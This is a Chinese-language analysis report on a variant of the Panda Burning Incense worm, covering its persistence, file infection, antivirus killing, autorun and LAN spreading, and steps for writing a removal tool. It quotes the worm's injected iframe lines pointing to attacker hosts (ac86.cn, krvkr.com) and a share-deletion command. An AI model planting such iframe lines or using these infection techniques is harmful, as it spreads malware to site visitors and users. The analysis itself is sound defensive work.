熊猫烧香变种病毒分析
熊猫烧香变种病毒分析分析报告
样本名 | 2_dump_SCY.exe(熊猫烧香) |
---|---|
作者 | yusakul |
时间 | 2018-07-13 |
平台 | Win7-32 |
1.样本概况
1.1 样本信息
病毒名称 | 2_dump_SCY.exe |
---|---|
所属家族 | 熊猫烧香 |
样本名称 | 0c15096fb3bc30800f7af002c25953162b799391300a62b8507fe8e4f6532768 |
样本类型 | PE |
样本大小 | 98816 bytes |
MD5值 | b8f8e75c9e77743a61bbea9ccbcffd5d |
SHA1值 | 188fc8fc580c0ea4bf8a8900a3d36471823c8923 |
CRC32 | E63D45D3 |
SHA256 | 0c15096fb3bc30800f7af002c25953162b799391300a62b8507fe8e4f6532768 |
SSDeep | 3072:apAja0pSLwYqK6hVZ7N4bdq4a53YKCOTpc:a2ja0pShqK65ZOq4QYK1m |
1.2 病毒行为
设置注册表实现自启动 |
---|
修改资源管理器(explorer)的文件夹的隐藏属性 |
将进程的内存属性修改为可执行或可写 |
想系统服务发送控制码 |
删除服务 |
对指定运行的进程感兴趣 |
1.2 测试环境及工具
工具 | 备注 |
---|---|
VMware® Workstation 14 Pro | 分析环境win7_x32 |
火绒剑 | 行为监控 |
IDA pro 7.0 | 静态分析 |
Ollydbg | 动态分析 |
1.3 分析目标
1.3.1 查看PE文件
1. kernel32.dll文件导入函数
可以看出导入的这些函数都是进程、文件相关的API函数。
2. Advapi32.dll
Advapi32.dll是一个高级API应用程序接口。包括了函数与对象的安全性,注册表的操控以及事件日志相关的API函数。
这些函数主要包括三类:注册表相关函数,进程权限修改函数,服务相关函数。
3. Mpr.dll
Mpr.dll是windows操作系统网络通信相关模块。
Wsock.dll windows socket相关API接口。
WNetAddConnection2A创建一个网络资源的链接。
URLDownloadToFileA从指定的URL读取内容写入到文件中。
由上述的导入表分析可知,该病毒程序的主要功能包括:文件读写、注册表修改、进程权限修改,网络链接,URL等。
1.3.2 火绒剑监控 - 文件操作
1. 创建自我备份在根目录
2. 创建并释放隐藏文件Desktop_.ini
3. 自我复制
1.3.2火绒剑监控 - 注册表操作
1. 无效“显示所有文件和文件夹”功能
2. 删除杀毒软件自启项
3. 修改文件
使用notepad++查看被修改的文件,被新添加了一行:
<iframe src=http://www.ac86.cn/66/index.htm width="0" height="0"></iframe>
将该网址提交微步在线分析如下
1.3.3 火绒剑监控 - 网络操作
1. 扫描并尝试连接局域网脑内139、445端口
因为本次分析是在虚拟机封闭分析,所以没有连接其他主机,猜测此病毒连接成功后,会向其他主机发送自己,达到传播目的。
2. 尝试连接外网IP,并发送数据包
数据内容如下:
1.3.4火绒剑监控 - 进程操作
1. 遍历系统进程并启动自释放文件
2.具体行为分析
2.1 主要行为
2.1.1 恶意程序对用户造成的危害
1. 替换程序图标
2. 隐藏文件
3. 有目录创建Desktop_.ini文件,内容为当前时间(2018-7-11)。
- 大量用户软件被修改,无法正常运行
2.2 恶意代码分析
2.2.1 恶意代码树结构图
2.2.1 恶意代码IDA结构图
两次对比字符串是否相等,不相等则退出, 验证完成后有三个主要的恶意行为函数
2.2.2 主要功能函数sub_40819C – 复制
此函数主要功能为自我复制到系统目录并执行复制体。
1.查找系统目录下是否存在Desktop.ini文件,有则删除
2.检测病毒spc0lsv.exe
病毒会通过检查文件路径、病毒感染标志来确定进当前病毒属于以下三种情况的哪一种情况。
分别进程本身属于原始病毒文件、被感染的可执行文件、以及伪装目标进程三种情况。
(1)原始病毒文件
拷贝自身到
~/system32/driver/目录,重命名为spc0lsv.exe并运行,然后结束当前进程。
(2)当前程序时是被感染的可执行文件
1)在当前目录释放被感染的原始文件
2)删除系统目录下spo0lav
3)将创建病毒程序拷贝到系统目录,并执行。
(3)当前运行路径为系统根目录,说明当前是在伪装成系统程序状态下运行的,没有敏感操作。
2.2.3 主要功能函数sub_40D18C – 感染
此函数为感染传播函数。
该函数由3个主要函数,第一个执行感染功能,第二个实现自我复制,第三个局域网传播自身。
感染文件线程
(1)遍历文件夹,判断是否为文件夹,判断目录下是否存在Desktop_.ini文件。
判断是否存在Desktop_.ini
(2)若目录下存在Desktop_.ini,获取当前系统时间,对比Desktop_.ini中的时间,是同一天则表示此目录已被感染,跳过此目录。
若不同则在此目录下生成新的Desktop_.ini,写入本地时间。
(3)删除GHO备份
(4)感染PE文件 – 感染方式1
将病毒内容直接覆盖到要感染程序,感染目标文件后缀类型有:EXE、SCR、PIF、COM。
f_HackWay1:
(5)感染PE文件 – 感染方式2
网页感染:感染目标文件后缀类型有:htm, html, asp, php, jsp, aspx。
主要将字符串(<iframe src=http://www.krvkr.com/worm.htm width=0
height=0></iframe>)添加到文件末尾。
f_HackWays:
2. 自我复制 - 时钟周期6s
检索各个磁盘的根目录是否存在setup.exe和autorun.inf文件,存在则删除它们。
将自身复制到 盘符:\setup.exe
遍历磁盘, 创建“盘符:\autorun.inf”文件。
设置setup.exe文件属性为 <系统,隐藏>
设置autorun.inf文件属性为 <系统,隐藏>,同时将setup.exe设置为自启
3. 局域网传播
2.2.4 主要功能函数sub_40D088 – 其他
此函数主要功能为通过修改注册表实现自我保护,连接网站实现自我更新等功能。
该函数中设置了6个时钟周期,定时执行不同的功能。
TimerFunc_1(1s)
(1)提升进程权限
(2)遍历窗口名, 向指定窗口名发送QUIT消息, 并结束指定进程,大多为杀毒防护软件。
(3)扫描进程,如果有检测到以下进程则结束它,下图为部分截图:
(4)修改注册表,设置spo0lsv.exe开机启动,设置文件(夹)隐藏
TimerFunc_2(1200s)
通过URL地址更新
TimerFunc_3(10s)
(1)通过URL地址更新
(2)删除网络共享:net share ipc$ /del 删除ipc$共享
(3)关闭当前时钟
4. TimerFunc_4(6s)
将杀毒软件服务停止,并删除注册表启动项。
TimerFunc_5(10s)
字符串被加密操作过,根据特征猜测可能是网址,似乎是对一些网址做了操作。
TimerFunc_6(180s)
仍然是从某个网址上下载文件,应该不是关键操作。
3.解决方案
3.1 病毒行为
病毒行为1:病毒本身创建了名为“spo01sv.exe”的进程,该进程文件的路径为“C:\WINDOWS\system32\drivers\spo01sv.exe”。
病毒行为2:在注册表KCU\Software\Microsoft\Windows\CurrentVersio
n\Run”中创建“svcshare”,用于在开机时启动位于“C:\WINDOWS\system3
2\drivers\spo0lsv.exe”的病毒程序。
病毒行为3:修改注册表,使得隐藏文件无法通过普通的设置进行显示,该位置为HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Adva
nced\Folder\Hidden\SHOWALL,病毒将CheckedValue的键值设置为了0。
病毒行为4:将自身拷贝到根目录,并命名为“setup.exe”,同时创建“autorun.inf”用于病毒的启动,这两个文件的属性都是“隐藏”。
病毒行为5:在一些目录中创建名为“Desktop_.ini”的隐藏文件。
3.2 杀毒工具编写步骤
3.2.1 终止病毒进程
利用ToolHelpAPI获得快照句柄,而后再利用Process32First和Process32Next枚举当前的进程,枚举的过程当中获取结构体ProcessEntry32这个结构体里面的相关信息(包括进程名和进程ID);
找到目标进程之后,利用OpenProcess获取当前的进程句柄,最后再利用TerminateProcess终止病毒进程.
3.2.2. 删除文件
调用函数Bool DeleteFile (LPCTSTR
lpFilename),把lpFilename设为要指向删除的文件的文件名的指针即可,可以包含具体路径。
3.2.3 修复注册表,删除启动启动项
RegOpenKeyEx()打开目标主键,并返回句柄,然后利用RegSetValueEx进行修改键值,最后可以利用RegSetValueEx来删除键值,最后利用RegCloseKey来进行关闭。
3.2.3 查杀工具链接
我的GitHub·https://github.com/yusakul/PandaKiller
3.2.4 工具截图
熊猫烧香变种病毒分析相关推荐
- 病毒木马查杀实战第005篇:熊猫烧香之逆向分析(上)
前言 对病毒进行逆向分析,可以彻底弄清楚病毒的行为,从而采取更有效的针对手段.为了节省篇幅,在这里我不打算将"熊猫烧香"进行彻底的分析,只会讲解一些比较重要的部分,大家只要掌握了这 ...
- 熊猫烧香电脑病毒案告破 抓获8名疑犯
据介绍,2006年底,我国互联网上大 规模爆发"熊猫烧香"病毒及其变种,该病毒通过多种方式进行传播,并将感染的所有程序文件改成熊猫举着三根香的模样,同时该病毒还具有盗取用户游戏账号 ...
- 感染[熊猫烧香变种 spoclsv.exe]
熊猫烧香变种 spoclsv.exe 病毒名称:Worm.Win32.Delf.bf(Kaspersky) 病毒别名:Worm.Nimaya.d(瑞星) Win32.Trojan.QQRobber.n ...
- “熊猫烧香”变种“金猪报喜”制作者落网
去年年底到今年初,一种名叫"熊猫烧香"的病毒在互联网上大规模传播,大部分网站.网吧等计算机网络遭到侵害.2月4 日,涉嫌制作.传播"熊猫烧香"病毒的" ...
- 病毒木马查杀实战第007篇:熊猫烧香之逆向分析(下)
前言 这次我们会接着上一篇的内容继续对病毒进行分析.分析中会遇到一些不一样的情况,毕竟之前的代码我们只要按照流程顺序一步一步往下走,就能够弄清楚病毒的行为,但是在接下来的代码中,如果依旧如此,在某些分 ...
- 病毒木马查杀实战第003篇:熊猫烧香之行为分析
前言 为了分析"熊猫烧香"病毒的行为,我这里使用的是Process Monitor v3.10版.关于这款软件的使用,可参考以下三篇文章: <文档翻译第001篇:Proces ...
- 熊猫烧香的病毒制作源码
program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = ...
- 熊猫烧香病毒背后,网络高手对决一个月
这是一波电脑病毒蔓延的狂潮.在两个多月的时间里,数百万电脑用户被卷将进去,那只憨态可掬.颔首敬香的"熊猫"除而不尽,成为人们噩梦般的记忆. 反病毒工程师们将它命名为"尼姆 ...
- 熊猫烧香病毒幕后黑手曝光 网络世界高手对决一个月
这是一波电脑病毒蔓延的狂潮.在两个多月的时间里,数百万电脑用户被卷将进去,那只憨态可掬.颔首敬香的"熊猫"除而不尽,成为人们噩梦般的记忆. 反病毒工程师们将它命名为"尼姆 ...
最新文章
- GoF23种设计模式之行为型模式之解释器模式
- CentOS 6虚拟机安装
- ux体验网站 英国_?? 用户体验(UX)资源和工具的完整列表??
- scikit-learn库中聚类算法自定义距离度量方式
- 如何在验证集加噪声_B端硬件如何开展产品测试?
- C++ PAT 乙级 ——1002 读入一个正整数 n,计算其各位数字之和,用汉语拼音写出和的每一位数字。
- polybase配置 sql_在 Windows 上配置 PolyBase 横向扩展组
- 再学 GDI+[22]: TGPLinearGradientBrush - 之一: TLinearGradientMode
- Ubuntu安装ASIO开发库
- visual studio 2010 c++ 打印 Hello world
- 20191230每日一句
- php 获取某文件内容
- 免疫算法(Immune Algorithm,IA)实例详解
- 中医针灸学综合练习题库【9】
- Redmi K20 Pro 编译 PixelExperience
- 寒武纪MLU270 平台 CNStream 学习记录
- 读取 STM32F10x 内部基准电压。
- 计算机里的文件丢失6,u盘修复后文件丢失解决方法
- 【Android】JNI调用(完整版)
- html 超链接打开Excel,excel超链接打不开解决方法
热门文章
- sae mysql django_Django中MySQL读写分离技术
- 成功解决运行tensorflow时ModuleNotFoundError: No module named ‘numpy.core._multiarray_umath‘
- 成功解决AttributeError: ‘int‘ object has no attribute ‘encode‘
- 成功解决TypeError: sequence item 0: expected str instance, list found
- AI:2020年6月22日北京智源大会演讲分享之09:40-10:10Mari 教授《基于显式上下文表征的语言处理》、10:10-10:40周明教授《多语言及多模态任务中的预训练模型》
- Windows-Linux:Windows系统下的命令类似Linux系统下的所有命令集合
- python dict常用操作
- AsyncDisplayKit
- B2C Opinions
- AB1601 PWM模块